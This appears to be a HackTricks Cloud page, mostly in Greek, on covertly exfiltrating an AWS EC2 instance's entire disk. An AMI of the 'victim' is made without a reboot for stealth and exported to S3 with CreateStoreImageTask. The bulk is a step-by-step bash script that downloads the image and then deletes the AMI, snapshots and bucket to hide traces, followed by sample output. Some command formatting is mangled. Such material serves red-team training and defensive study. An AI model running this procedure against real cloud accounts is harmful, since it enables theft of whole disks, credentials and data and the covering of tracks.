AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Περίληψη
Abuse EC2 AMI export-to-S3 για να exfiltrate τον πλήρη δίσκο ενός EC2 instance ως μία ενιαία raw image αποθηκευμένη σε S3, και στη συνέχεια να την κατεβάσετε εκτός-καναλιού. Αυτό αποφεύγει το sharing snapshots και παράγει ένα αντικείμενο ανά AMI.
Απαιτήσεις
- EC2:
ec2:CreateImage,ec2:CreateStoreImageTask,ec2:DescribeStoreImageTasksστο στόχο instance/AMI - S3 (same Region):
s3:PutObject,s3:GetObject,s3:ListBucket,s3:AbortMultipartUpload,s3:PutObjectTagging,s3:GetBucketLocation - KMS decrypt στο κλειδί που προστατεύει τα AMI snapshots (εάν το EBS default encryption είναι ενεργό)
- Policy του S3 bucket που εμπιστεύεται το
vmie.amazonaws.comservice principal (δείτε παρακάτω)
Επιπτώσεις
- Πλήρης offline απόκτηση του root δίσκου του instance σε S3 χωρίς sharing snapshots ή copying across accounts.
- Επιτρέπει stealth forensics πάνω σε credentials, configuration, και περιεχόμενο filesystem από την εξαγόμενη raw image.
Πώς να Exfiltrate μέσω AMI Store-to-S3
- Σημειώσεις:
- Το S3 bucket πρέπει να βρίσκεται στην ίδια Region με το AMI.
- Στο
us-east-1, τοcreate-bucketΔΕΝ πρέπει να περιλαμβάνει--create-bucket-configuration. --no-rebootδημιουργεί μια crash-consistent εικόνα χωρίς να σταματήσει το instance (πιο διακριτική αλλά με λιγότερη συνοχή).
Εντολές βήμα-βήμα
```bash # Vars REGION=us-east-1 INSTANCE_ID=1) Create S3 bucket (same Region)
if [ “$REGION” = “us-east-1” ]; then aws s3api create-bucket –bucket “$BUCKET” –region “$REGION” else aws s3api create-bucket –bucket “$BUCKET” –create-bucket-configuration LocationConstraint=$REGION –region “$REGION” fi
2) (Recommended) Bucket policy to allow VMIE service to write the object
ACCOUNT_ID=$(aws sts get-caller-identity –query Account –output text) cat > /tmp/bucket-policy.json <<POL { “Version”: “2012-10-17”, “Statement”: [ { “Sid”: “AllowVMIEPut”, “Effect”: “Allow”, “Principal”: {“Service”: “vmie.amazonaws.com”}, “Action”: [ “s3:PutObject”, “s3:AbortMultipartUpload”, “s3:ListBucket”, “s3:GetBucketLocation”, “s3:GetObject”, “s3:PutObjectTagging” ], “Resource”: [ “arn:aws:s3:::$BUCKET”, “arn:aws:s3:::$BUCKET/” ], “Condition”: { “StringEquals”: {“aws:SourceAccount”: “$ACCOUNT_ID”}, “ArnLike”: {“aws:SourceArn”: “arn:aws:ec2:$REGION:$ACCOUNT_ID:image/ami-”} } } ] } POL aws s3api put-bucket-policy –bucket “$BUCKET” –policy file:///tmp/bucket-policy.json
3) Create an AMI of the victim (stealthy: do not reboot)
AMI_ID=$(aws ec2 create-image –instance-id “$INSTANCE_ID” –name exfil-$(date +%s) –no-reboot –region “$REGION” –query ImageId –output text)
4) Wait until the AMI is available
aws ec2 wait image-available –image-ids “$AMI_ID” –region “$REGION”
5) Store the AMI to S3 as a single object (raw disk image)
OBJKEY=$(aws ec2 create-store-image-task –image-id “$AMI_ID” –bucket “$BUCKET” –region “$REGION” –query ObjectKey –output text)
echo “Object in S3: s3://$BUCKET/$OBJKEY”
6) Poll the task until it completes
until [ “$(aws ec2 describe-store-image-tasks –image-ids “$AMI_ID” –region “$REGION”
–query StoreImageTaskResults[0].StoreTaskState –output text)“ = “Completed” ]; do
aws ec2 describe-store-image-tasks –image-ids “$AMI_ID” –region “$REGION”
–query StoreImageTaskResults[0].StoreTaskState –output text
sleep 10
done
7) Prove access to the exported image (download first 1MiB)
aws s3api head-object –bucket “$BUCKET” –key “$OBJKEY” –region “$REGION” aws s3api get-object –bucket “$BUCKET” –key “$OBJKEY” –range bytes=0-1048575 /tmp/ami.bin –region “$REGION” ls -l /tmp/ami.bin
8) Cleanup (deregister AMI, delete snapshots, object & bucket)
aws ec2 deregister-image –image-id “$AMI_ID” –region “$REGION”
for S in $(aws ec2 describe-images –image-ids “$AMI_ID” –region “$REGION”
–query Images[0].BlockDeviceMappings[].Ebs.SnapshotId –output text); do
aws ec2 delete-snapshot –snapshot-id “$S” –region “$REGION”
done
aws s3 rm “s3://$BUCKET/$OBJKEY” –region “$REGION”
aws s3 rb “s3://$BUCKET” –force –region “$REGION”
</details>
## Παράδειγμα αποδεικτικών στοιχείων
- `describe-store-image-tasks` μεταβάσεις:
```text
InProgress
Completed
- S3 μεταδεδομένα αντικειμένου (παράδειγμα):
{
"AcceptRanges": "bytes",
"LastModified": "2025-10-08T01:31:46+00:00",
"ContentLength": 399768709,
"ETag": "\"c84d216455b3625866a58edf294168fd-24\"",
"ContentType": "application/octet-stream",
"ServerSideEncryption": "AES256",
"Metadata": {
"ami-name": "exfil-1759887010",
"ami-owner-account": "<account-id>",
"ami-store-date": "2025-10-08T01:31:45Z"
}
}
- Μερική λήψη αποδεικνύει την πρόσβαση στο αντικείμενο:
ls -l /tmp/ami.bin
# -rw-r--r-- 1 user wheel 1048576 Oct 8 03:32 /tmp/ami.bin
Απαιτούμενα δικαιώματα IAM
- EC2:
CreateImage,CreateStoreImageTask,DescribeStoreImageTasks - S3 (στο bucket εξαγωγής):
PutObject,GetObject,ListBucket,AbortMultipartUpload,PutObjectTagging,GetBucketLocation - KMS: Εάν τα AMI snapshots είναι κρυπτογραφημένα, επιτρέψτε decrypt για το EBS KMS key που χρησιμοποιείται από τα snapshots
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

